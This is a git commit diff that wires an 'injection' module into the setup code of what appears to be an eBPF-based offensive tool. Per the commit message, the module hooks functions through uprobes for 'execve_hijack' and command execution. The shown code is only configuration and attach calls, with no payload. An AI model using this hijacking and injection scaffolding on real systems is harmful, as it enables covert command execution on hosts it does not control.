Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

This commit is contained in:
h3xduck
2022-03-03 05:53:51 -05:00
parent e64839f080
commit 0c88d5baa9
19 changed files with 1931 additions and 1817 deletions

View File

@@ -3,6 +3,7 @@
#include "sched.h"
#include "fs.h"
#include "exec.h"
#include "injection.h"
module_config_t module_config = {
.xdp_module = {
@@ -22,6 +23,10 @@ module_config_t module_config = {
.exec_module = {
.all = ON,
.tp_sys_enter_execve = OFF
},
.injection_module = {
.all = ON,
.uprobe_execute_command = OFF
}
};
@@ -34,7 +39,8 @@ module_config_attr_t module_config_attr = {
},
.sched_module = {},
.fs_module = {},
.exec_module = {}
.exec_module = {},
.injection_module = {}
};
@@ -78,6 +84,13 @@ int setup_all_modules(){
}
if(ret!=0) return -1;
//INJECTION
if(config.injection_module.all == ON){
ret = attach_injection_all(attr.skel);
}else{
if(config.injection_module.uprobe_execute_command == ON) ret = attach_uprobe_execute_command(attr.skel);
}
if(ret!=0) return -1;
return 0;
}